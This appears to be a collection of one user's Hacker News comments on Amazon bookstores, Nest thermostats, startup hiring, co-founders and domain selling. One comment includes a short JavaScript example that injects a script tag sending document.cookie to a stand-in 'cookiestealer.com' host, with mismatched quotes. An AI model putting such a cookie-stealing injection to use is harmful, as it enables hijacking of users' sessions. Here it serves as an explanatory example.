vnorby

In 2013, Amazon had 65% market share of online book sales [1]. It wouldn't surprise me if this was 20% higher now.

When customers walk into a Barnes and Noble (or any bookstore) and browse books but don't buy (for example, because they found a cheaper price online), they are most likely to end up on Amazon to complete the purchase. B&N did the work but Amazon got the money.

Amazon doesn't have that problem. They don't need to sell books in the store to "pay the store's operating expense" - they just need people to come in and browse.

Currently, Amazon doesn't compete for a high percentage of books (50%) moved through physical stores [2]. They are in the enviable position of being able to create stores that don't leak sales to competitors. This is the final nail in B&N's coffin.

[1] http://www.thewire.com/business/2014/05/amazon-has-basically...

[2] http://www.dailydot.com/business/ebook-sales-2013-revenue/

Stealth mode company | San Mateo, CA | Full Time

We're looking for our first non-founder engineer to join a small team backed by leading VCs and angels. We're working on something amazing and different from most software companies in a huge market. Our founding team of 4 is out of Nest Labs/Google. We're looking for a full stack engineer or front-end web engineer to lead our web team. Market compensation and huge equity stake for the right fit. We're a Ruby on Rails shop with single page apps built on Backbone and React. Please email me at vnorby at icloud dot com.

I worked at Nest on their professional distribution channel for some time. The thermostat market is dominated by professional sales (80-90% are sold and installed by professional HVAC contractors) whereas Nest traditionally sold through to a consumer/DIY audience. Nest has a very steep uphill battle against Honeywell the way Apple has had an uphill battle against Windows in large enterprise. Nest just has more mindshare amongst the tech/early adopter community.

Not to keep harping on the subject (see my comments above), but pre-warming or pre-cooling houses is actually a really great solution to solving our energy problems with algorithms. It's not strictly a "first world" problem.

Imagine a neighborhood of 100 homes where you know all 100 people will return approximately at 6pm in the winter, and they all want 72 degrees. Taking into account the insulation of each home, if you could pre-heat the homes on a rolling schedule (say, heat 25 of them to 75 degrees at 3pm, accounting for 1 degree of heat dissipation per hour, heat another 25 to 74 degrees at 4pm, etc.), you will actually in aggregate save a lot of energy and cost because of inefficiencies in the way we deliver and generate energy during peak times.

(@yitchelle - central data center)

Wasting/saving energy is not as simple a calculation as that. When energy is at peak use (say in the winter, around 5:30/6:00 when everybody returns from work), it becomes more expensive for energy companies to procure the requisite energy needed. During these peak times, they often have to buy energy from other companies at a higher cost or find less efficient means of generating it (e.g. coal) to meet the demand. Getting an accurate picture of estimated energy demand can actually save a lot of money/energy for customers.

I work at Nest and it may be a little unclear at the moment (we're working on it), but The Nest API does not guarantee that if you send an ETA of 15 minutes (docs: https://developer.nest.com/documentation/eta-guide), the home will heat to the appropriate level in 15 minutes. It's actually filtered through our algorithms to determine the best course of action to not waste energy but also provide the appropriate level of comfort.

I would be extremely cautious about #1 (replacing PNGs with CSS3 transforms and drop shadows). Your page load time may decrease but your website performance will suffer. For example, when we swapped out CSS3 box-shadows for repeating PNGs with the same color gradients/transparency, the scrolling performance on our page increased dramatically. I would also say from a design perspective, the 2nd Book of Mormon browser-rendered transform looks significantly worse. The edges are not being anti-aliased.

This can turn out not to be a problem if the startup hits some reasonable growth (growth is usually a solution to such ails as long as it continues).

This is the important line in the article. Co-founder breakups probably happen more because the startup is not doing well, and not vice versa. I'm not sure if it makes sense to try and optimize for not running into co-founder problems as much as just optimizing for your company's success as normal.

If your company is killing it, and you're a co-founder and you've got 10% and you want to be the CEO and your grad school dropout grace period is ending and you'd rather be working on technical problems, you're most likely going to stick it out regardless.

Mountain View, CA - Full-time iOS/iPhone/iPad developer on-site only

Origami.com (formerly known as Everyme) is a YC-backed (S11) startup building an online home for families. We are 8 people (5 eng, 2 design, 1 biz) that are passionate about helping families and loved ones communicate and store memories for generations. We are a subscription-based service that is launching soon and already has a passionate base of beta users. We also operate Everyme, a private social network with over 300,000 downloads.

If you're interested, please email me with information about yourself to vibhu@origami.com and I'll get back to you right away.

I don't think it's fair to bunch all 400+ Y Combinator companies together like this. You'll probably find good and bad benefits packages with the same frequency across all small startups. Y Combinator certainly does not get their hands dirty in the operational, HR, or recruitment strategies of their funded companies; that's really up to the founders.

Perhaps what you want to say is that you don't like the benefits packages that startups with young founders provide, because they don't understand what a more senior engineer expects on that side of the compensation equation. That might be more fair.

This won't work on Github's subdomain, but you'd do it like this:

  function sort(data) {
     $('body').append('<script src="http://cookiestealer.com/log.js?cookie= + document.cookie + '"></script>");
     return data.sort();
  }

http://www.youtube.com/watch?v=92pM6hJG6Wo&feature=youtu...

I was stunned by how fast the blind can "speed listen" in the linked video. Is this something anyone can learn?

Sales - depends on how many domains you own and how good they are. I make 5-10x returns on every sale though. For the exchange, I usually transfer within registry and only after receiving payment. I've used escrow.com twice for high value domains.

Not extortion, usually just a lease to own contract. Say you have a $150,000 domain and a startup wants it, they can lease for $4k/month and pay off the rest when they've raised their next round.

It's not my primary income, it's something I do on the side. Once you've bought a domain, you don't need to do much work after the initial parking setup, which takes about 5 minutes.

I sell through domain marketplaces like sedo/afternic/flippa/dnforum. I also reach out to startups directly that correlate to domains I own, it's a very effective way to sell domains. You can also develop them into SEO/amazon referral sites for product-related domains. I know a lot of people that make thousands per month off of pure referral sites, mostly auto-generated.

Domains - have my portfolio at hackernames.com. It's a good way to exercise your hacker knowledge and you can always use them yourself if you aren't able to find a buyer.

Great points, your article was spot on. No, definitely that's not the main issue, although it is one. You can't keep reinforcing why the user is signing up throughout the process the same way you can on the web. All mobile sign-up screens pretty much look the same and I see a lot of users look at it and just delete the app, or delay until later at which point they forget why they downloaded it. And even when they get past it, if they see something else they perceive as a "this is going to take a while" moment, they are going to leave and delete your app. On the web, the time to signup and get use from your app is faster and perceived as faster so I think given a choice between the two, more users would do it on the web.

Even if that wasn't true, which it is (there are still billions of people without internet access), I've spent the majority of my time on the internet and I think I can tell the difference between ads and content.

That's fair. I do have something data about that, however. We tried making our app paid and found that we were now trading 100 free downloads for 2 at $0.99. So now we have 5% of 2 people instead of 100. Regular people are really price sensitive and the problem is they can find something that does something similar to what your app does for free. Like I said, they will not value their own privacy when making that decision, hence they will always choose the free version on mobile. I think in that future that will change, at least that's what we're betting on.

I think you need mobile. Leaving it out is a mistake because you need to be where your customers are (to me - of course it depends on your app). I just think that mobile is the wrong place to start right now.

Sorry for the word overdose. I have a degree in philosophy and computer science; just the right combination to produce overly lengthy and verbose blog posts.

I am making two points, the first that we are web-first, and the second that we are revenue-first. I'm not conflating them; that's the point of the article.

In any case, they are related in my mind. In order to justify why we are switching to a paid model, I bring up privacy because I think you are trading the loss of privacy for that of cash when you choose between ad-supported and a paid model on a consumer app. As for going web-first, I think I made the reason clear.

What you're saying is true. It's a small problem and people will forget; they always do. My real intention was to make it easy enough that there was a chance (a very small one indeed) PG would stick it at the bottom of the page and never have to think about it again.

If you'd like, you can drop in the JS code at the bottom of the page and it will make your footnotes easier to read automatically. It's not the jumping that's as much the problem as losing the context upon jumping.

#FirstWorldProblem: Reading footnotes on PG's essays makes you lose your place, so if you're like me you never read them until you get to the bottom. Solution: Bookmarklet.

If a greater percentage of successful businesses are started with 2 people, there must be a good reason for it. If businesses were more likely to be successful with one person, wouldn't you see more people opting to go down that route in aggregate, irrespective of anything else? Businesses are units designed to succeed, they would not (in aggregate) do something to counter their own success, especially with something non-obvious like how many co-founders you start with.

Ok, got you. I can answer these. Indeed, it is not representing all fast growing companies all around the world. However, it doesn't have to. Like I said in the post, there is no reason to believe that biases how many founders they have. Companies with two founders are not more likely to submit themselves to such a report. Anyway, almost all of them are businesses generating tons of revenue. A large percentage of them are public companies and many are 10-15 years old. Feel free to look them up.

A founder is someone listed as a co-founder either on the management page, Wikipedia, or in press mentions. It's not really slippery. It took so much time because I wanted to make sure I was doing it right.

Actually, I thought it was interesting to know what the breakdown was amongst successful startups since I've never seen any data about it, only anecdotes. I did the research. It took several hours. I happen to have a place where I can share the research with people that might care and have something to add. Clearly, I am mistaken.

More top technology companies are started by 2-person founders. If you had no other data other than what is presented, and there isn't, you would want to start a company with 2 founders. Obviously this is not taking into account how many businesses are started with different numbers of co-founders. Perhaps 50% of all people who start companies as a single founder end up on this list. We don't know that. The idea I have in my head is that it's easier to start a company with fewer co-founders, so more would be started with one than two, and two more than three and so on. In any case, the data is there for you to make your own conclusions and you don't have to take mine.

I don't know if this is true or isn't true, but Google Ventures' counter arguments are red herrings:

  "I don't know what Paul's thinking," Maris said.
  "It's just not true. Our portfolio speaks for itself."

  "We've already closed investments on companies from this class,
  so they don't seem to feel that way," Maris said.

It's a funny, well-executed idea, but issuing official-looking city documents with "City of Mountain View" as the header and all of your identifying information is a great way to get written up by the police department.